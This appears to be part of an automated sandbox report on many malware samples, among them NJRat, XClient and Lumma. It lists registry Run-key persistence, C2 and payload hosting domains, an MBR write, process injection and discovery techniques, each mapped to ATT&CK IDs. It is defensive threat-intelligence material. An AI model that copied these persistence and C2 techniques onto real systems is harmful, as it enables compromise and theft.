Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	tt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\empyrean = "C:\\Users\\Admin\\AppData\\Roaming\\empyrean\\run.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\winsct = "C:\\Users\\Admin\\AppData\\Roaming\\winsct"	xt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\Windows.exe"	freedom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\b9584a316aeb9ca9b31edd4db18381f5 = "\"C:\\Users\\Admin\\Desktop\\Files\\NJRat.exe\" .."	NJRat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Users\\Admin\\sysnldcvmr.exe"	1304425268.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Administrator = "C:\\ProgramData\\Microsoft\\csrss.exe"	win.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	XClient.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	pi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive = "\"C:\\ProgramData\\OneDrive\\OneDrive.exe\""	bildnewl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	newtpp.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hhnjqu9y.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Client_protected.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	GLP_installer_900223086_market.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 47 IoCs

Web Service

T1102

flow	ioc
64	raw.githubusercontent.com
185	discord.com
2812	2.tcp.ngrok.io
3156	raw.githubusercontent.com
3335	raw.githubusercontent.com
3540	pastebin.com
2812	pastebin.com
3445	discord.com
22	raw.githubusercontent.com
53	raw.githubusercontent.com
187	raw.githubusercontent.com
1781	discord.com
2284	raw.githubusercontent.com
2784	bitbucket.org
792	pastebin.com
887	iplogger.com
1402	pastebin.com
1860	raw.githubusercontent.com
3421	discord.com
214	discord.com
808	pastebin.com
1747	discord.com
3068	raw.githubusercontent.com
23	bitbucket.org
821	raw.githubusercontent.com
885	iplogger.com
3404	discord.com
3753	raw.githubusercontent.com
180	discord.com
3410	discord.com
3206	2.tcp.ngrok.io
3872	pastebin.com
540	bitbucket.org
1909	raw.githubusercontent.com
2481	2.tcp.ngrok.io
2784	discord.com
2785	raw.githubusercontent.com
2937	raw.githubusercontent.com
3418	discord.com
3428	discord.com
42	raw.githubusercontent.com
392	raw.githubusercontent.com
746	raw.githubusercontent.com
3105	raw.githubusercontent.com
3117	bitbucket.org
3414	discord.com
3439	discord.com

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
208	api.ipify.org
1747	ip-api.com
2812	api.ipify.org
2812	ip-api.com
24	ip-api.com
200	api.ipify.org
204	api.ipify.org
3124	api.ipify.org
3183	api.ipify.org
181	api.ipify.org
184	ip-api.com
180	api.ipify.org
408	ip-api.com
3310	api.ipify.org
3801	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5624	Process not Found
9860	Process not Found
13292	powercfg.exe
6516	powercfg.exe
6264	powercfg.exe
9104	powercfg.exe
12916	Process not Found
3712	Process not Found

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	GLP_installer_900223086_market.exe

Enumerates processes with tasklist 1 TTPs 12 IoCs

discovery

Process Discovery

T1057

pid	Process
6736	tasklist.exe
6860	tasklist.exe
10056	tasklist.exe
2476	Process not Found
2216	tasklist.exe
12212	tasklist.exe
12800	tasklist.exe
13256	tasklist.exe
5208	tasklist.exe
3752	tasklist.exe
2684	tasklist.exe
12136	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
7444	hhnjqu9y.exe
2088	rhsgn_protected.exe
4364	Client_protected.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 6076 set thread context of 3760	6076	winupsecvmgr.exe	175
PID 6076 set thread context of 2760	6076	winupsecvmgr.exe	176
PID 2748 set thread context of 5876	2748	test.exe	181
PID 5264 set thread context of 5256	5264	xyaw4fkp.exe	269
PID 1440 set thread context of 7276	1440	T3.exe	278
PID 7444 set thread context of 6744	7444	hhnjqu9y.exe	320

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/5836-1580-0x00007FF8E0AC0000-0x00007FF8E0F2E000-memory.dmp	upx
behavioral4/memory/5836-1587-0x00007FF900340000-0x00007FF90034F000-memory.dmp	upx
behavioral4/memory/5836-1586-0x00007FF8E4C80000-0x00007FF8E4CA4000-memory.dmp	upx
behavioral4/memory/5836-1588-0x00007FF8FC490000-0x00007FF8FC4A9000-memory.dmp	upx
behavioral4/memory/5836-1589-0x00007FF8E4C50000-0x00007FF8E4C7D000-memory.dmp	upx
behavioral4/memory/5836-1591-0x00007FF8EC1F0000-0x00007FF8EC209000-memory.dmp	upx
behavioral4/memory/5836-1592-0x00007FF8FCAE0000-0x00007FF8FCAED000-memory.dmp	upx
behavioral4/memory/5836-1595-0x00007FF8E4C20000-0x00007FF8E4C4E000-memory.dmp	upx
behavioral4/memory/5836-1596-0x00007FF8E3BF0000-0x00007FF8E3CAC000-memory.dmp	upx
behavioral4/memory/5836-1597-0x00007FF8E4BF0000-0x00007FF8E4C1B000-memory.dmp	upx
behavioral4/memory/5836-1600-0x00007FF8E4BD0000-0x00007FF8E4BEC000-memory.dmp	upx
behavioral4/memory/5836-1599-0x00007FF8F61C0000-0x00007FF8F61CA000-memory.dmp	upx
behavioral4/memory/5836-1598-0x00007FF8E0AC0000-0x00007FF8E0F2E000-memory.dmp	upx
behavioral4/memory/5836-1603-0x00007FF8E4AF0000-0x00007FF8E4B1E000-memory.dmp	upx
behavioral4/memory/5836-1604-0x00007FF8E2E30000-0x00007FF8E2EE8000-memory.dmp	upx
behavioral4/memory/5836-1608-0x00007FF8EC1F0000-0x00007FF8EC209000-memory.dmp	upx
behavioral4/memory/5836-1606-0x00007FF8E0740000-0x00007FF8E0AB5000-memory.dmp	upx
behavioral4/memory/5836-1605-0x00007FF8E4C50000-0x00007FF8E4C7D000-memory.dmp	upx
behavioral4/memory/5836-1615-0x00007FF8E4020000-0x00007FF8E4034000-memory.dmp	upx
behavioral4/memory/5836-1622-0x00007FF8E4BF0000-0x00007FF8E4C1B000-memory.dmp	upx
behavioral4/memory/5836-1621-0x00007FF8E2D10000-0x00007FF8E2E28000-memory.dmp	upx
behavioral4/memory/5836-1620-0x00007FF8E3FF0000-0x00007FF8E4015000-memory.dmp	upx
behavioral4/memory/5836-1619-0x00007FF8E3BF0000-0x00007FF8E3CAC000-memory.dmp	upx
behavioral4/memory/5836-1618-0x00007FF8F1E20000-0x00007FF8F1E2B000-memory.dmp	upx
behavioral4/memory/5836-1617-0x00007FF8F2F30000-0x00007FF8F2F3D000-memory.dmp	upx
behavioral4/memory/5836-1616-0x00007FF8E4C20000-0x00007FF8E4C4E000-memory.dmp	upx
behavioral4/memory/5836-1634-0x00007FF8E2650000-0x00007FF8E27C1000-memory.dmp	upx
behavioral4/memory/5836-1633-0x00007FF8E3FD0000-0x00007FF8E3FEF000-memory.dmp	upx
behavioral4/memory/5836-1636-0x00007FF8F0E60000-0x00007FF8F0E6B000-memory.dmp	upx
behavioral4/memory/5836-1635-0x00007FF8E4AF0000-0x00007FF8E4B1E000-memory.dmp	upx
behavioral4/memory/5836-1637-0x00007FF8E2E30000-0x00007FF8E2EE8000-memory.dmp	upx
behavioral4/memory/5836-1645-0x00007FF8E4AC0000-0x00007FF8E4ACC000-memory.dmp	upx
behavioral4/memory/5836-1651-0x00007FF8E3BB0000-0x00007FF8E3BBC000-memory.dmp	upx
behavioral4/memory/5836-1650-0x00007FF8E39D0000-0x00007FF8E39DB000-memory.dmp	upx
behavioral4/memory/5836-1652-0x00007FF8E39C0000-0x00007FF8E39CC000-memory.dmp	upx
behavioral4/memory/5836-1649-0x00007FF8E39E0000-0x00007FF8E39EB000-memory.dmp	upx
behavioral4/memory/5836-1648-0x00007FF8E3BA0000-0x00007FF8E3BAC000-memory.dmp	upx
behavioral4/memory/5836-1647-0x00007FF8E3BE0000-0x00007FF8E3BEC000-memory.dmp	upx
behavioral4/memory/5836-1644-0x00007FF8E3BC0000-0x00007FF8E3BCE000-memory.dmp	upx
behavioral4/memory/5836-1643-0x00007FF8E3BD0000-0x00007FF8E3BDD000-memory.dmp	upx
behavioral4/memory/5836-1642-0x00007FF8E3E00000-0x00007FF8E3E0B000-memory.dmp	upx
behavioral4/memory/5836-1641-0x00007FF8E3E10000-0x00007FF8E3E1C000-memory.dmp	upx
behavioral4/memory/5836-1640-0x00007FF8E3E70000-0x00007FF8E3E7B000-memory.dmp	upx
behavioral4/memory/5836-1639-0x00007FF8E4B70000-0x00007FF8E4B7B000-memory.dmp	upx
behavioral4/memory/5836-1638-0x00007FF8E0740000-0x00007FF8E0AB5000-memory.dmp	upx
behavioral4/files/0x000600000002a70e-3242.dat	upx
behavioral4/files/0x001b00000002af17-14133.dat	upx
behavioral4/files/0x001f00000002ae3b-14908.dat	upx

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\jerniuiopu.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\fdf6fcdebbd70d	Msblockreview.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\7a73b78f679a6f	Msblockreview.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\AppLaunch.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\winlogon.exe	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe	Msblockreview.exe
File created	C:\Program Files\VideoLAN\VLC\conhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\de-DE\loader_5879465914.exe	Msblockreview.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\cc11b995f2a76d	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\7a0fd90576e088	Msblockreview.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\de-DE\644a2eaf928b9d	Msblockreview.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\536764fb8cb1f3	Msblockreview.exe
File created	C:\Program Files\VideoLAN\VLC\088424020bedd6	Msblockreview.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\sysmablsvr.exe	tt.exe
File created	C:\Windows\sysppvrdnvs.exe	pi.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	pi.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\AnchorAnnotated	NorthSperm.exe
File opened for modification	C:\Windows\CheckingReliable	NorthSperm.exe
File created	C:\Windows\sysmablsvr.exe	tt.exe
File opened for modification	C:\Windows\GamblingCedar	NorthSperm.exe
File created	C:\Windows\es-ES\wininit.exe	Msblockreview.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\sysnldcvmr.exe	newtpp.exe
File created	C:\Windows\sysnldcvmr.exe	1304425268.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File created	C:\Windows\es-ES\56085415360792	Msblockreview.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe
File opened for modification	C:\Windows\ConferencesInto	NorthSperm.exe

Launches sc.exe 45 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5992	sc.exe
8156	sc.exe
2352	sc.exe
6164	sc.exe
3820	sc.exe
10404	Process not Found
5208	sc.exe
1252	sc.exe
9480	sc.exe
12720	Process not Found
9548	sc.exe
8068	sc.exe
5404	Process not Found
3692	Process not Found
11232	sc.exe
3068	sc.exe
2088	sc.exe
3944	sc.exe
7992	sc.exe
6280	sc.exe
7264	sc.exe
9516	sc.exe
11840	Process not Found
4976	sc.exe
1572	sc.exe
3804	sc.exe
5440	sc.exe
12596	sc.exe
10200	Process not Found
4952	sc.exe
6096	sc.exe
5384	sc.exe
6044	sc.exe
4040	sc.exe
5688	sc.exe
2088	sc.exe
13192	sc.exe
6032	sc.exe
8472	sc.exe
4896	sc.exe
1372	sc.exe
6992	sc.exe
6156	sc.exe
9072	sc.exe
10828	sc.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
6348	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 5 IoCs

pyinstaller

resource	yara_rule
behavioral4/files/0x000300000002a764-1479.dat	pyinstaller
behavioral4/files/0x001b00000002adb1-6735.dat	pyinstaller
behavioral4/files/0x001a00000002ae1e-7221.dat	pyinstaller
behavioral4/files/0x001b00000002acf6-14037.dat	pyinstaller
behavioral4/files/0x001b00000002b078-16188.dat	pyinstaller

Embeds OpenSSL 3 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral4/files/0x000300000002a820-3564.dat	embeds_openssl
behavioral4/files/0x001900000002ac92-4102.dat	embeds_openssl
behavioral4/files/0x001800000002b188-19346.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 54 IoCs

pid	pid_target	Process	procid_target
5412	7588	WerFault.exe	256
7852	6744	WerFault.exe	320
6868	4364	WerFault.exe	313
7364	8144	WerFault.exe	326
6276	1540	WerFault.exe	493
6284	4144	WerFault.exe	528
8372	4144	WerFault.exe	528
10024	4144	WerFault.exe	528
8544	4144	WerFault.exe	528
8852	4144	WerFault.exe	528
7260	6964	WerFault.exe	515
800	6264	WerFault.exe	527
8876	4144	WerFault.exe	528
8940	7956	WerFault.exe
5160	6264	WerFault.exe	527
8304	4144	WerFault.exe	528
8816	4144	WerFault.exe	528
9536	4144	WerFault.exe	528
9964	5628	WerFault.exe	449
9072	4144	WerFault.exe	528
5544	7956	WerFault.exe	694
6328	4144	WerFault.exe	528
3692	3368	WerFault.exe	735
4004	3368	WerFault.exe	735
8132	1776	WerFault.exe	587
5356	3368	WerFault.exe	735
8764	3368	WerFault.exe	735
1824	3368	WerFault.exe	735
2436	3368	WerFault.exe	735
5132	3368	WerFault.exe	735
5452	3368	WerFault.exe	735
9932	3368	WerFault.exe	735
10716	3368	WerFault.exe	735
10768	8724	WerFault.exe	880
10284	3368	WerFault.exe	735
10300	3368	WerFault.exe	735
11008	9860	WerFault.exe	924
9540	10664	WerFault.exe	918
9860	3368	WerFault.exe	735
10860	9464	WerFault.exe	896
1872	6200	WerFault.exe	790
10140	3368	WerFault.exe	735
11408	3368	WerFault.exe	735
11020	3368	WerFault.exe	735
10008	3368	WerFault.exe	735
7900	12156	WerFault.exe	1019
7304	9768	WerFault.exe	999
11492	3368	WerFault.exe	735
9876	12412	WerFault.exe	1183
12776	6388	WerFault.exe	1248
9032	12864	WerFault.exe	1186
10588	11160	WerFault.exe	1328
5908	3368	Process not Found	735
1884	3368	Process not Found	735

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pipanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Optimum.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jerniuiopu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhsgn_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KuwaitSetupHockey.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hhnjqu9y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Reproduction.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1304425268.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KuwaitSetupHockey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GREENpackage.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whats-new.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dn8g5KQZ4r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	twztl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tdrpload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysklnorbcv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ARA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LummaC22222.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	729613342.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypteda.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kmvcsaed.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GLP_installer_900223086_market.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3644	PING.EXE
11960	cmd.exe
10416	PING.EXE
5728	cmd.exe
9692	PING.EXE
9088	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2164	netsh.exe
5436	cmd.exe
1500	netsh.exe
6008	cmd.exe
2352	netsh.exe
5872	cmd.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	loader_5879465914.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	loader_5879465914.exe

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
9752	timeout.exe
8628	timeout.exe
6788	timeout.exe
8212	timeout.exe
2080	timeout.exe
7440	Process not Found
2396	Process not Found
7128	timeout.exe
11300	Process not Found
5036	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	loader_5879465914.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	loader_5879465914.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	405	Go-http-client/1.1
HTTP User-Agent header	3342	Go-http-client/1.1
HTTP User-Agent header	3351	Go-http-client/1.1

Kills process with taskkill 1 IoCs

evasion

pid	Process
9680	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133762582261668109"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	chrome.exe
